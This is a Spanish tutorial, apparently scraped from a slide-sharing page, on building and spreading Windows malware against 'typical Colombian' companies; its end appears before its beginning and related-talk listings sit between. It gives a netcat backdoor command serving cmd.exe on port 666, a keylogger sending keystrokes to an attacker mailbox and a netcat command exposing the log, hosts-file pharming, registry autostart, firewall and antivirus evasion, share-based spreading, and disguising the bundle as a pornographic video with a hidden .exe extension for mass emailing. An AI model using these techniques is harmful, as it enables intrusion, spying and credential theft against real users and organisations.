de empaquetamiento con los scripts que tenemos:

1. empaqueta en un ejecutable los scripts que contienen la
violación del registro tanto para la instalación del malware como
para la evasión del firewall.
2. empaqueta en otro ejecutable el script de distribución del
malware en carpetas compartidas.
3. empaqueta en otro ejecutable los dos anteriores ejecutables
diciéndole al paquete que primero se ejecute el paquete que
realiza la violación del registro y luego el paquete que realiza
la distribución. Ahora, tiene que haber quedado un solo ejecutable
que realiza las tres funciones: instalación del backdoor en el
registro, evasión del firewall y copia del cuerpo del malware en
las carpetas compartidas.
4. empaqueta en otro ejecutable los ejecutables que constituyen el
backdoor. En el caso de este proyecto, será win32.exe (netcat), y
el keylogger.
5. empaqueta en otro ejecutable, el ejecutable con todos los
scripts y el ejecutable que contiene el backdoor. En este momento
te tiene que quedar un solo ejecutable que contiene (y ejecuta)
inicialmente todos los scripts y además debe contener el payload
(en este caso, el backdoor).

Vale la pena recalcar que hasta ahora, el malware con todos los
archivos que hemos empaquetado, no pesa más de 90 Kb. Se ha
conseguido lo que nos hemos propuesto, pues ese valor lo hace un
archivo bastante liviano (y distribuible).

Así, de tanto empaquetar y empaquetar, este trabajo, no es sino
pura “labor de carpintería”.

[6] troyanización.

Aunque ya tenemos el malware, necesitamos un mecanismo de
activación. Obviamente, ese mecanismo es algún usuario ejecute o
de doble click sobre el ejecutable del malware. Para “generar
confianza” en el usuario a que active el malware, generaremos otro
paquete especial que troyanizará nuestro malware. Para ello
utilizaremos winrar. Ahí va !!. Primero, debemos escojer un
“anzuelo”. Este puede ser un archivo multimedia (preferiblemente).
En el caso de un escenario de una empresa típica colombiana,
podríamos tomar un pedazo de un video con contenido pornográfico
(casi nadie evita dar doble click sobre algo así). Para no
aumentar mucho el tamaño del troyano, podemos tomar cualquier
video en formato .avi y editarlo reduciendo la longitud de la
http://hackstudio.net
                                   nkt@hackstudio.net

secuencia en una aplicación    de   bastante   uso      como   camtasia.
Observemos el preview:




Al seleccionar añadir al archivo, selecciono la opción de generar
archivo especial en formato SFX (Archivo auto-extraible):




Luego vamos a la pestaña “avanzadas” y seleccionamos opciones SFX,
donde podemos establecer la ruta de extracción de archivos y los
comandos de    ejecución (scripting) antes y      después de la
extracción:
http://hackstudio.net
                                   nkt@hackstudio.net




En Modos, seleccionamos las opciones de Ocultar todo tipo de
animación al usuario, y en caso de existir el archivo, sobre-
escribirlo.




Con eso basta. Aunque winrar nos presenta una plétora de múltiples
opciones (entre las cuales está la selección de un icono), es
suficiente como para lo que necesitamos. Podemos troyanizar el
malware utilizando cualquier tipo de archivo “atractivo” para que
el usuario dé doble click, p.e. Mp3, jpg, flash (que también tiene
http://hackstudio.net
                                   nkt@hackstudio.net

extensión .exe), etc. En este momento, disponemos de un ejecutable
que contiene el malware y un ejecutable que despliega el video
“anzuelo”. ¿Qué viene ahora??, pues con iexpress puedes crear el
paquete total. Donde se empaquetan tanto el “anzuelo” (ejecutable
que despliega el video), como el malware en sí (el ejecutable
empaquetado que se detalló en la sección anterior). Sin embargo,
si observamos el archivo desde el explorador de windows, se ve que
el paquete total tiene un icono que no se reconoce fácilmente.
Vamos a utilizar la conocida “resHacker” para cambiar el icono de
tal   manera  que   realmente   parezca  un   archivo  multimedia.
Desplegamos ResHacker, seleccionamos nuestro malware troyanizado y
buscamos el icono de un video dentro del sistema para realizar el
reemplazo. Observemos el preview.




(donde “videoCarlaGiraldo.exe” es el paquete que contiene tanto el
malware desarrollado en la sección anterior, como el video
empaquetado anteriormente con winrar).




Seleccionamos cualquier ejecutable desde donde deseamos cargar el
icono (en este caso, para simular un archivo de un verdadero
video, utilizaremos el mismo icono de windows media player, y
http://hackstudio.net
                                   nkt@hackstudio.net

damos la opción reemplazar. Solo resta guardar el proyecto, y si
observamos nuevamente nuestro archivo desde el explorador podremos
ver un “lindo archivo aparentemente de video” con el nombre de
nuestro malware troyanizado.




Y LISTO !!!!... Ahora, p.e. En este caso se cambió el nombre por
“videoCarlaGiraldo.avi.exe”. Si    hablamos de   una red típica
colombiana con sistemas windows XP en sus instalaciones por
defecto, lo más seguro, es que en los exploradores de las máquinas
víctimas esté habilitada la opción “ocultar extesiones de archivos
conocidos”. Lo que hará que se oculte la extensión .exe y por lo
tanto “el nombre visible del malware” realmente aparecerá como
“videoCarlaGiraldo.avi”. Obviamente lo ideal sería que el troyano
se cargue desde un verdadero archivo multimedia. Esto no es
difícil de hacer, sin embargo, “será en otra ocasión, je!”, pues.
para los requerimientos de este proyecto, basta con lo hecho hasta
ahora.

Existen un resto de técnicas alternativas para troyanizar nuestro
malware. Entre ellas están los Data Streams, Macros en archivos
office,   objetos  ole   incluidos  en   documentos   (basta  con
incrustarlos), wrappers en archivos .flash, ejecución de comandos
desde archivos que se ejecutan en windows media player, etc. No
las veremos en este documento, pero cualquier desarrollador de
malware puede pasar largos y entretenidos ratos mejorando y
puliendo lo logrado hasta ahora con técnicas más refinadas y
“diabólicas”.

Es obvio suponer, que si das doble click sobre el archivo que
contiene el malware troyanizado debe suceder los siguiente:

Explícitamente:
[-] Debe desplegarse   el   video   (o   cualquier   tipo   de   anzuelo
incluido)

Implícitamente (y de forma oculta):
[-] el registro debe haber sido modificado para aceptar que se
abra un puerto por el backdoor sin que el firewall “se oponga”
[-] el registro debe haber sido modificado para cargar el backdoor
al iniciar la máquina
[-] el cuerpo del troyano debe haberse intentado copiar a las
carpetas compartidas encontradas en la lista de direcciones IP.
http://hackstudio.net
                                     nkt@hackstudio.net

[-] se debe haber abierto la puerta trasera en estado de escucha
de conexiones en el puerto autorizado en el registro
[-] se debe ejecutar cualquier otro proceso incluido, p.e. Para
este proyecto, debería estar en ejecución el keylogger.

Lo único que resta, es re-enviar el “famoso video” a la mayor
cantidad de direcciones de correo electrónico ... y esperar. En el
caso de este proyecto, solo sería necesario detectar puertos
abiertos escuchando conexiones en el puerto 666 ... “a lo mejor es
nuetra plaga en acción, :P”...

------------------------------------------------------------------
Análisis y Conclusiones
------------------------------------------------------------------

Es importante tener en cuenta:

[-] No utilizamos ninguna tecnología sofisticada. Prácticamente
todo se limitó “al poder de la consola” en ejecutar scripts. Todos
los   recursos  requeridos  estaban   totalmente  al   alcance  de
“cualquiera”.

[-] El conocimiento de todas estas técnicas anteriormente
mencionadas sirve no solamente para desarrollar proyectos con
“intenciones malévolas”, también sirve para el desarrollo de
vacunas contra malware. Simplemente se empaquetan scripts que con
la capacidad de revertir las actividades maliciosas del malware
que se desea vacunar. En pocas palabras, no solo se trata de
plantear mediante este proyecto técnicas nocivas para una
infraestructura informática. El conocimiento de estas técnicas es
la mejor forma de combatir este tipo de ataques.

[-] Todas las actividades anteriores (excepto el cambio de icono),
son scriptables. Esto significa que con buena práctica y
experiencia, se pueden automatizar (ya lo haremos en su momento).

[-] No necesitamos prácticamente ningún método de programación (ni
siquiera utilizamos lenguajes de programación), no necesitamos
ningún   principio  especial  de   la  ingeniería   del  software,
cualquiera con algo de dedicación está en la capacidad de
desarrollar este tipo de proyectos, no se requiere de la ayuda de
un “super-hacker” ... todo esto lo podemos hacer prácticamente con
las uñas ... ahora lo que debemos aprender es a tener las uñas
“bien afiladas” ...

[-] diviértete, y disfrútalo cuanto puedas ... ah!, y no olvides
invitarme ... nkt@hackstudio.net, nkt.liam@gmail.com . Hasta la
próxima ;P
http://hackstudio.net
                                        nkt@hackstudio.net

------------------------------------------------------------------
Autor
------------------------------------------------------------------

Guillermo Jurado. Ingeniero en Electrónica y Telecomunicaciones de
la Universidad del Cauca. Grupo de Investigación en Tecnologías de
la   Información   (GTI),   Área   de   Investigación en   Seguridad
Informática, Egresado 2003. Es "Hacktivista" con una Experiencia
de casi 8 años en Investigación y Desarrollo de Soluciones en
Seguridad Informática e Inteligencia Artificial. El Prototipo del
Proyecto InForce Technology recibió el reconocimiento de Mención
de Honor por Trabajo Innovador en el Área de Seguridad
Informática. Actualmente reside en Popayán-Cauca, y trabaja para
la Universidad del Cauca en el Área de Sistemas. Es Desarrollador
Avanzado   en   tecnologías   JAVA   (J2SDK,   J2EE), investiga   en
Metodologías y Estándares de Calidad de Software, y trabaja en el
surgimiento de hackStudio [http://hackstudio.net] , Proyecto
Empresarial cuyo Core (núcleo) de Negocio es la Investigación y
Desarrollo de Soluciones en Tecnología Informática. Es el
Arquitecto y Principal Desarrollador de InForce Technology y
HackStudio Project, y Dedica su Tiempo Disponible en la Edición de
su Propuesta Investigativa: "Ingeniería en Seguridad Informática"
que estará disponible al Público en Formato de Libro (si es que
algún día la termina, jeje).

Contactos en nkt@hackstudio.net , nkt.liam@gmail.com
Cel. 300 651 0946

------------------------------------------------------------------
Breve Bibliografía
------------------------------------------------------------------

[-] ZELTSER, Lenny. Malware: Fighting malicious code. 2003

[-] HOGLUND,   Greg.   BUTLER,   James.   Rootkits:   Subverting   the   Windows
Kernel. 2005

[-] FOSTER, James. Sockets, Shellcode, Porting & Coding. Reverse
Engineering Exploits and Tools Coding for Security Professionals. 2005

[-] LUDWIG, Mark. The Little Black Book of computer Viruses. Editorial
American eagle publications.

[-] RODAO, Jesús. Virus de Sistemas Informáticos e Internet. Editorial
Alfa Omega 2000.

[-] Virus Bulletin, Octubre 2005 – Enero 2006. http://www.virusbtn.com

[-] http://www.hispasec.com/directorio/laboratorio/articulos/

Contenu connexe

Tendances

ShellCon 2018: Hacking con Python
ShellCon 2018: Hacking con PythonShellCon 2018: Hacking con Python
ShellCon 2018: Hacking con PythonDani Adastra
 
Seguridad y ataques de im en entornos corporativos
Seguridad y ataques de im en entornos corporativosSeguridad y ataques de im en entornos corporativos
Seguridad y ataques de im en entornos corporativosTensor
 
Investigacion de seguridad
Investigacion de seguridadInvestigacion de seguridad
Investigacion de seguridadJulio Cesar
 
Mac os x & malware en tu empresa
Mac os x & malware en tu empresaMac os x & malware en tu empresa
Mac os x & malware en tu empresaEventos Creativos
 
Ransomware: prevenir es mejor que curar
Ransomware: prevenir es mejor que curarRansomware: prevenir es mejor que curar
Ransomware: prevenir es mejor que curarCarlos Rubén Jacobs
 
Seguridad y ataques de im en entornos corporativos
Seguridad y ataques de im en entornos corporativosSeguridad y ataques de im en entornos corporativos
Seguridad y ataques de im en entornos corporativosTensor
 
Final andres rodriguez_ieee
Final andres rodriguez_ieeeFinal andres rodriguez_ieee
Final andres rodriguez_ieeearodri7703
 
Introduccion ethical hacking - chakan
Introduccion ethical hacking - chakanIntroduccion ethical hacking - chakan
Introduccion ethical hacking - chakanch4k4n
 
Webinar Gratuito "Hacking Ético"
Webinar Gratuito "Hacking Ético"Webinar Gratuito "Hacking Ético"
Webinar Gratuito "Hacking Ético"Alonso Caballero
 
Sistemas Distribuidos de Denegación de Servicio
Sistemas Distribuidos de Denegación de ServicioSistemas Distribuidos de Denegación de Servicio
Sistemas Distribuidos de Denegación de ServicioAlan Resendiz
 

Tendances (20)

ShellCon 2018: Hacking con Python
ShellCon 2018: Hacking con PythonShellCon 2018: Hacking con Python
ShellCon 2018: Hacking con Python
 
Labs
LabsLabs
Labs
 
Hacking etico remington
Hacking etico remingtonHacking etico remington
Hacking etico remington
 
Caso práctico - Test de Intrusión
Caso práctico - Test de IntrusiónCaso práctico - Test de Intrusión
Caso práctico - Test de Intrusión
 
Seguridad y ataques de im en entornos corporativos
Seguridad y ataques de im en entornos corporativosSeguridad y ataques de im en entornos corporativos
Seguridad y ataques de im en entornos corporativos
 
Tipos de virus
Tipos de virusTipos de virus
Tipos de virus
 
Investigacion de seguridad
Investigacion de seguridadInvestigacion de seguridad
Investigacion de seguridad
 
Ataque a la red de datos, diapositivas
Ataque a la red de datos, diapositivasAtaque a la red de datos, diapositivas
Ataque a la red de datos, diapositivas
 
Mac os x & malware en tu empresa
Mac os x & malware en tu empresaMac os x & malware en tu empresa
Mac os x & malware en tu empresa
 
Ransomware: prevenir es mejor que curar
Ransomware: prevenir es mejor que curarRansomware: prevenir es mejor que curar
Ransomware: prevenir es mejor que curar
 
HoneyNet
HoneyNetHoneyNet
HoneyNet
 
Seguridad y ataques de im en entornos corporativos
Seguridad y ataques de im en entornos corporativosSeguridad y ataques de im en entornos corporativos
Seguridad y ataques de im en entornos corporativos
 
Final andres rodriguez_ieee
Final andres rodriguez_ieeeFinal andres rodriguez_ieee
Final andres rodriguez_ieee
 
Troyanos
TroyanosTroyanos
Troyanos
 
Hackers
HackersHackers
Hackers
 
Introduccion ethical hacking - chakan
Introduccion ethical hacking - chakanIntroduccion ethical hacking - chakan
Introduccion ethical hacking - chakan
 
Seguridad Informática-Ataques a la web.
Seguridad Informática-Ataques a la  web.Seguridad Informática-Ataques a la  web.
Seguridad Informática-Ataques a la web.
 
Webinar Gratuito "Hacking Ético"
Webinar Gratuito "Hacking Ético"Webinar Gratuito "Hacking Ético"
Webinar Gratuito "Hacking Ético"
 
Virus
VirusVirus
Virus
 
Sistemas Distribuidos de Denegación de Servicio
Sistemas Distribuidos de Denegación de ServicioSistemas Distribuidos de Denegación de Servicio
Sistemas Distribuidos de Denegación de Servicio
 

En vedette (9)

Jsl Colombia 2010 - Seguridad Informatica
Jsl Colombia 2010 - Seguridad InformaticaJsl Colombia 2010 - Seguridad Informatica
Jsl Colombia 2010 - Seguridad Informatica
 
Jsl ponencias v2_diego_salazar_perez
Jsl ponencias v2_diego_salazar_perezJsl ponencias v2_diego_salazar_perez
Jsl ponencias v2_diego_salazar_perez
 
Emprendiendo con software libre-
 Emprendiendo con software libre- Emprendiendo con software libre-
Emprendiendo con software libre-
 
Linux seguro - Fedora Colombia
Linux seguro - Fedora ColombiaLinux seguro - Fedora Colombia
Linux seguro - Fedora Colombia
 
Certificacion iso17799 iso 27001 1
Certificacion iso17799 iso 27001 1Certificacion iso17799 iso 27001 1
Certificacion iso17799 iso 27001 1
 
Presentacion Guia OWASP 2014
Presentacion Guia OWASP 2014Presentacion Guia OWASP 2014
Presentacion Guia OWASP 2014
 
Completo conferencia seguridad_web_software_libre_2015
Completo conferencia seguridad_web_software_libre_2015Completo conferencia seguridad_web_software_libre_2015
Completo conferencia seguridad_web_software_libre_2015
 
Criptografia-GSeguridad
Criptografia-GSeguridadCriptografia-GSeguridad
Criptografia-GSeguridad
 
Phần 7: Mảng một chiều
Phần 7: Mảng một chiềuPhần 7: Mảng một chiều
Phần 7: Mảng một chiều
 

Similaire à Hacking withinnails pdfcompleto

Evolución de las soluciones antimalware
Evolución de las soluciones antimalwareEvolución de las soluciones antimalware
Evolución de las soluciones antimalwareEventos Creativos
 
Pruebas de penetración
Pruebas de penetraciónPruebas de penetración
Pruebas de penetraciónDavid Thomas
 
Sunu
SunuSunu
SunuJ Lds
 
Seguridad informatica
Seguridad informaticaSeguridad informatica
Seguridad informaticaJ Lds
 
Test básico de seguridad informática
Test básico de seguridad informáticaTest básico de seguridad informática
Test básico de seguridad informáticasylvia1999
 
Taller 4 periodo daniela herrera
Taller 4 periodo daniela herreraTaller 4 periodo daniela herrera
Taller 4 periodo daniela herreradanielaaaaaaaaa
 
Caratula de un crackers
Caratula de un crackersCaratula de un crackers
Caratula de un crackersmaria_belen
 
Memorias webCast Prevención de Ataques de Dia-0 con Aranda 360 ENDPOINT SECURITY
Memorias webCast Prevención de Ataques de Dia-0 con Aranda 360 ENDPOINT SECURITYMemorias webCast Prevención de Ataques de Dia-0 con Aranda 360 ENDPOINT SECURITY
Memorias webCast Prevención de Ataques de Dia-0 con Aranda 360 ENDPOINT SECURITYAranda Software
 
H-Con 2018: Hacking con Python
H-Con 2018: Hacking con PythonH-Con 2018: Hacking con Python
H-Con 2018: Hacking con PythonDani Adastra
 
ESR II - Modulo 1 - Codigo Malicioso
ESR II - Modulo 1 - Codigo MaliciosoESR II - Modulo 1 - Codigo Malicioso
ESR II - Modulo 1 - Codigo Maliciosofoalonso
 
instalación y craqueo de un antivirus
instalación y craqueo de un antivirusinstalación y craqueo de un antivirus
instalación y craqueo de un antivirusLiliana Criollo
 
Herramientas de análisis de vulnerabilidades
Herramientas de análisis de vulnerabilidadesHerramientas de análisis de vulnerabilidades
Herramientas de análisis de vulnerabilidadesAlejandro Otegui
 

Similaire à Hacking withinnails pdfcompleto (20)

Evolución de las soluciones antimalware
Evolución de las soluciones antimalwareEvolución de las soluciones antimalware
Evolución de las soluciones antimalware
 
Pruebas de penetración
Pruebas de penetraciónPruebas de penetración
Pruebas de penetración
 
Present3
Present3Present3
Present3
 
Sunu
SunuSunu
Sunu
 
Seguridad informatica
Seguridad informaticaSeguridad informatica
Seguridad informatica
 
Test básico de seguridad informática
Test básico de seguridad informáticaTest básico de seguridad informática
Test básico de seguridad informática
 
Practica 6
Practica 6Practica 6
Practica 6
 
Taller 4 periodo daniela herrera
Taller 4 periodo daniela herreraTaller 4 periodo daniela herrera
Taller 4 periodo daniela herrera
 
crackers
  crackers  crackers
crackers
 
Caratula de un crackers
Caratula de un crackersCaratula de un crackers
Caratula de un crackers
 
Memorias webCast Prevención de Ataques de Dia-0 con Aranda 360 ENDPOINT SECURITY
Memorias webCast Prevención de Ataques de Dia-0 con Aranda 360 ENDPOINT SECURITYMemorias webCast Prevención de Ataques de Dia-0 con Aranda 360 ENDPOINT SECURITY
Memorias webCast Prevención de Ataques de Dia-0 con Aranda 360 ENDPOINT SECURITY
 
H-Con 2018: Hacking con Python
H-Con 2018: Hacking con PythonH-Con 2018: Hacking con Python
H-Con 2018: Hacking con Python
 
ESR II - Modulo 1 - Codigo Malicioso
ESR II - Modulo 1 - Codigo MaliciosoESR II - Modulo 1 - Codigo Malicioso
ESR II - Modulo 1 - Codigo Malicioso
 
Test de intrusion
Test de intrusionTest de intrusion
Test de intrusion
 
instalación y craqueo de un antivirus
instalación y craqueo de un antivirusinstalación y craqueo de un antivirus
instalación y craqueo de un antivirus
 
Capitulo2
Capitulo2Capitulo2
Capitulo2
 
Herramientas de análisis de vulnerabilidades
Herramientas de análisis de vulnerabilidadesHerramientas de análisis de vulnerabilidades
Herramientas de análisis de vulnerabilidades
 
Amenazas lógicas
Amenazas lógicasAmenazas lógicas
Amenazas lógicas
 
Amenazas lógicas
Amenazas lógicasAmenazas lógicas
Amenazas lógicas
 
Amenazas lógicas
Amenazas lógicasAmenazas lógicas
Amenazas lógicas
 

Plus de Securinf.com Seguridad Informatica - Tecnoweb2.com

Plus de Securinf.com Seguridad Informatica - Tecnoweb2.com (20)

Python workshop
Python workshopPython workshop
Python workshop
 
De Presa A Cazador
De Presa A Cazador De Presa A Cazador
De Presa A Cazador
 
Web 20 vision a la industria
Web 20 vision a la industriaWeb 20 vision a la industria
Web 20 vision a la industria
 
Open solaris
Open solarisOpen solaris
Open solaris
 
Análisis malware
Análisis malwareAnálisis malware
Análisis malware
 
Sftp rodrigo carreño
Sftp rodrigo carreñoSftp rodrigo carreño
Sftp rodrigo carreño
 
Instalacion drupal 1
Instalacion drupal 1Instalacion drupal 1
Instalacion drupal 1
 
Instalacion drupal 1
Instalacion drupal 1Instalacion drupal 1
Instalacion drupal 1
 
C:\Fake Path\Cauca
C:\Fake Path\CaucaC:\Fake Path\Cauca
C:\Fake Path\Cauca
 
Presentacion Joomla CMS
Presentacion Joomla CMSPresentacion Joomla CMS
Presentacion Joomla CMS
 
Securinf Barcamp
Securinf BarcampSecurinf Barcamp
Securinf Barcamp
 
Ciberneticavs Sistem Abiertos
Ciberneticavs Sistem AbiertosCiberneticavs Sistem Abiertos
Ciberneticavs Sistem Abiertos
 
Topologia
TopologiaTopologia
Topologia
 
Css
CssCss
Css
 
Ensayo Tgs
Ensayo TgsEnsayo Tgs
Ensayo Tgs
 
Present Securinf
Present SecurinfPresent Securinf
Present Securinf
 
Metasploit
MetasploitMetasploit
Metasploit
 
Crack Distribuido Atabuido
Crack Distribuido AtabuidoCrack Distribuido Atabuido
Crack Distribuido Atabuido
 
Crack Distribuido Atabuido
Crack Distribuido AtabuidoCrack Distribuido Atabuido
Crack Distribuido Atabuido
 
Estrategias de Ataque y Defensa
Estrategias de Ataque y DefensaEstrategias de Ataque y Defensa
Estrategias de Ataque y Defensa
 

Hacking withinnails pdfcompleto

  • 1. http://hackstudio.net nkt@hackstudio.net ------------------------------------------------------------------ HACKING WITHIN NAILS “hackeando con las uñas” Part 1. The Malware Plague ------------------------------------------------------------------ “... si “nos tocó hacerlo con las uñas”, pues !! afilémonos las uñas !! ... !! que parezcan verdaderas garras !!! ...” nkt ------------------------------------------------------------------ Intro. ------------------------------------------------------------------ Este documento presenta una perspectiva sobre diferentes técnicas "aparentemente de bajo nivel técnico", con las cuales "cualquier individuo inquieto" puede desarrollar estrategias efectivas de ataques informáticos (con una alta capacidad de daño). Se pretende detallar cómo, sin ser ingeniero, sin ser el "super-hacker", sin ser el experto programador, ni nada por el estilo, una persona hostil puede lograr excelentes resultados de intrusión en empresas y organizaciones "típicas colombianas". En esta ocasión se estudiará una recopilación de las principales técnicas en el desarrollo “básico” de malware. ------------------------------------------------------------------ The malware background Antecedentes. ------------------------------------------------------------------ Como toda aplicación o software (programa también será un término usado en este contexto), se requiere principalmente de un archivo para ejecutar el código malicioso. Sin embargo, existen diferencias conceptuales reconocidas por los expertos en seguridad informática que establecen una cierta clasificación del malware, que define nuestro dominio de conocimiento. Estas diferencias, se refieren al comportamiento del malware una vez este ataca un sistema informático. De acuerdo a un documento publicado en la CSIRT de Colombia (el equipo de respuesta a incidentes de seguridad informática) en http://www.udistrital.edu.co/comunidad/grupos/arquisoft/colcsirt/D ocumentos.html (escrito por Juan Carlos Valbuena), una taxonomía (clasificación) para especificar malware debe cumplir ciertas características de la forma más óptima posible:
  • 2. http://hackstudio.net nkt@hackstudio.net [1] La taxonomía debe ser completa. Es decir todos los elementos que se clasifican deben ser abordados dentro de alguna de las categorías de la taxonomía. [2] La taxonomía debe ser mutuamente excluyente. Es decir, el elemento que se clasifica debe pertenecer a una y solo a una categoría. No puede ser dos al mismo tiempo, aunque en el mundo real se habla de virus con características de gusanos o gusanos con características de troyano, vamos hacer la diferenciación de este tipo de aplicaciones de acuerdo a una clasificación consistente con el dominio del conocimiento en el área de malware. [3] Repetible. Es decir, que al aplicar las mismas reglas taxonómicas sobre un conjunto de datos, los resultados deben ser los mismos independientemente del número de veces que se analice el problema. Si la clasificación taxonómica es consistente, no debería haber variación a aplicar las mismas reglas de clasificación en las mismas condiciones de evaluación. Con lo mencionado anteriormente se trabajará sobre el malware reconocido por las autoridades en seguridad informática (NTC- ISO/IEC17799). Se especificará su característica principal y la diferencia de las demás categorías taxonómicas. [1] Virus informáticos. Se reproducen infectando otros archivos (por lo general ejecutables, macros, multimedia, etc.) [2] Gusanos informáticos. Se reproducen usando servicios de Internet (p.e. el correo electrónico). [3] Troyanos. Aplicaciones que aparentan hacer una cosa, pero hacen otra. [4] Puertas Traseras. Permiten conexiones externas de posibles intrusos. [5] Spam. Correos de circulación masiva, generalmente con el fin de recolectar listas de correos para la posterior distribución del verdadero malware (p.e. un virus o un gusano). [6] Spyware. Software espía que monitorea las actividades de los usuarios (p.e. keyloggers, etc) [7] Rootkits. Realizan varias actividades sospechosas, pero su principal objetivo es ocultarse de los métodos de detección. [8] Phishing. Correos de circulación masiva que contienen páginas de acceso suplantadas para el fraude informático.
  • 3. http://hackstudio.net nkt@hackstudio.net [9] Dialers. Aplicaciones que sirven para el marcado internacional con el fin de ofrecer “servicios gratuitos” (sobre todo pornografía), pero que “realizan la respectiva tarificación” a la empresa ISP. Obviamente el ISP, le tarificará al usuario como llamada la conexión realizada. [10] adware. Software con contenido comercial por lo general de carácter publicitario. Existen obviamente una serie de características comunes y compartidas entre las diferentes categorías, y de hecho, el proyecto de malware a desarrollar incluirá varias de las técnicas incluidos para algunas de las categorías presentadas anteriormente. ------------------------------------------------------------------ Malware hacking Principios de diseño ------------------------------------------------------------------ Este proyecto de desarrollo de malware incluirá los siguientes targets. [1] payload o carga destructiva. Analizaremos el uso básico de un backdoor para establecer una conexión en un puerto de conexión tipo TCP. Por otra parte analizaremos el uso de un spyware para monitorear las actividades del usuario víctima, tipo keylogger. [2] bootLoader. violación del registro de configuraciones de windows con el fin de garantizar el arranque del malware. [3] mecanismo de distribución. De tal forma que el malware se disperse al interior de una infraestructura de red tipo LAN/Ethernet [4] evasión “básica” de firewall. Con el fin de evitar la detección al ejecutar comportamientos sospechosos [5] empaquetamiento y scripting. Creación de ejecutables y configuración de scripts de funcionamiento [6] troyanización. Cuyo objetivo es “involucrar a la víctima” en el proceso de intrusión P.D. existen un abanico de técnicas alternativas (y de alto nivel técnico) como p.e. buffer-heap-stack overflowing, shellcoding, process jumping, antivirus attack, bugs exploiting, dll’s and exe’s injection, etc. Estas técnicas se conocen ya como el arte de la explotación y la intrusión (“the art of intrusion and
  • 4. http://hackstudio.net nkt@hackstudio.net exploitation”.) y requieren una alta capacidad de programación. El propósito de este proyecto es “lograr los mismos resultados (o similares) sin tener que acudir a la complejidad que estas técnicas requieren”. En pocas palabras vamos a “hackear con las uñas” (hacking within nails). ------------------------------------------------------------------ Malware Development Desarrollo ------------------------------------------------------------------ [1] payload. Consiste en la aplicación que realmente hace daño al sistema. Esto se conoce como carga destructiva. En primera instancia utilizaremos un backdoor. En realidad el backdoor (puerta trasera) solo consiste en un ejecutable que abra un puerto en estado de escucha (Listening) y nos permita establecer una conexión externa. Existen varios muy reconocidos, tipo bo, netbus, etc. Todos ellos requieren fase de instalación y configuración, por lo que no nos permite incluirlos de forma sencilla en la fase de scripting. Se utilizará en su lugar el reconocido netcat (a.k.a. nc, la navaja suiza), una de las mejores utilidades para conexiones TCP/IP. El comando de ejecución que nos permite ejecutar nc modo de escucha/Listening (-L) para lanzar (-e cmd.exe) una consola de comandos al conectarnos al puerto (-p 666) establecido es sencillo: > nc –L –d –p 666 –e cmd.exe la opción –d le dice a nc que corra de forma oculta (sin levantar una consola). Si verificamos el estado de red del sistema a través de la consola (basta con ejecutar el comando netstat), podemos verificar que se abre el puerto establecido para escuchar por conexiones entrantes. Por el momento, como payload, es suficiente. Sin embargo, el problema actual es que desde hace un par de años, algunos
  • 5. http://hackstudio.net nkt@hackstudio.net antivirus han decidido incluir nc en sus bases de firmas. Esto significa que es posible que en algunos hosts víctimas el antivirus emita una alarma. Alternativas: [1] se podría tomar el código fuente de netcat y recompilarlo tratando de cambiar algunas opciones con el fin de que la firma no sea reconocida por el antivirus. [2] se podría utilizar un wrapper especial que encripte el código binario de netcat con el fin de que el antivirus no pueda realizar su análisis de forma correcta. [3] la mejor. Desarrolla tu propio código. Nuestro amigo e investigador en seguridad, Kadete (a.k.a. Juan E. Pecantet) ha desarrollado una aplicación (“LuzyFer”), para conexiones tcp que abre un socket a la escucha en el puerto 4444, establece conexiones con un cliente, recibe solicitudes y procesa comandos. El código útil de esta aplicación no supera las 50 líneas de código en lenguaje c, con la ventaja de que por ser “código limpio” (código que no ha sido testeado anteriormente por los sistemas de antivirus convencionales) no forma parte de la mayoría de las bases de firmas víricas. Felicitaciones KDT !!!. P.D. Kadete reside en Argentina, Se puede contactar en kadete.unix@gmail.com, trabaja para un grupo de investigación en hacking. A continuación se presenta un preview del sencillo código con el que se puede obtener muy buenos resultados en el desarrollo de un backdoor (LuzyFer).
  • 6. http://hackstudio.net nkt@hackstudio.net Cualquiera de las aplicaciones anteriores simplemente cumplen con las funciones de backdoor cuyo objetivo es esencialmente la ejecución de comandos de shell en la máquina víctima. Ahora, talvez sería interesante añadir al payload del malware algún tipo de función espía (spyware). Para ello incluiremos el uso de un keylogger desarrollado por el grupo de investigación en seguridad informática de la Universidad del Cauca (http://gseguridad.unicauca.edu.co). El keylogger, desarrollado por Rony Arana (investigador y desarrollador) y Siler Amador Donado (coordinador del grupo de investigación) genera un archivo de texto plano que es enviado a una cuenta de correo. También es “código limpio”, por lo cual no es detectado por los antivirus. El inconveniente es que el keylogger está configurado para enviar el archivo de texto con los datos de las pulsaciones de tecla a una cuenta de correo electrónico que se pasa por argumento en la línea de comandos. A continuación se presenta un overview del código fuente del keylogger. El servidor de correo que permite el reenvío del correo debe estar con su configuración por defecto (que efectivamente es defectuosa) para permitir el relay. Así que para el uso dentro de nuestro proyecto de malware no utilizaremos la función de envío al correo electrónico. Por el contrario, utilizaremos el mismo netcat para que al recibir una conexión, me permita descargar el archivo. Poner a funcionar el keylogger es sencillo. > keylogger intruso@devilhome.com Esta función genera un Archivo que se llama lgPh.log, donde se almacenan las pulsaciones de teclado. Así, lo único que se requeriría sería cargar archivo de datos en un flujo para ser transmitido por netcat. Esto es sencillo: > nc –L –p 665 < lgPh.log Hasta este momento está completa la carga destructiva del malware. Se pueden hacer muchas más cosas. Las opciones son innumerables y ya dependen de la capacidad y creatividad del intruso. Una de las más atractivas (y que se ha impuesto de moda), es la técnica llamada pharming, en la cual se suplantan direcciones IP por URL's validos en el archivo de configuración de hosts (a.k.a.
  • 7. http://hackstudio.net nkt@hackstudio.net %SystemRoot%system32driversetchosts, en el caso de esta máquina donde se está editando este documento: C:WINNTSystem32driversetchosts) para la navegación web. Esto es de lo más sencillo de realizar, ya que simplemente se requiere reemplazar un archivo de texto. Por mostrar un ejemplo, en el siguiente preview asignamos una dirección de la máquina atacante (192.168.1.4) que tiene un servidor web con una réplica de la página suplantada. El usuario ingenuo, simplemente introduce sus datos en los formularios, el atacante guarda los datos recolectados en variables en su “base de datos” y redirecciona a la verdadera página de error de la entidad suplantada. Listo. El usuario simplemente ha de creer que introdujo mal los datos en sus formularios. Este es el famoso phishing (con muchos adeptos por estos días). Por efectos pedagógicos del desarrollo de este proyecto, se cambiará el nombre de los ejecutables así: nc.exe se reemplazará por win32.exe, y keylogger.exe se reemplazará por run32dl.exe (solo por utilizar un conjunto de nombres que dificulten el proceso de identificación del malware). [2] bootLoader. violación del registro de configuraciones (“Hacking Registry”). Existen varias formas de establecer un punto de arranque para cualquier malware. Estos puntos de arranque se conocen como ASEP’s (Autostart 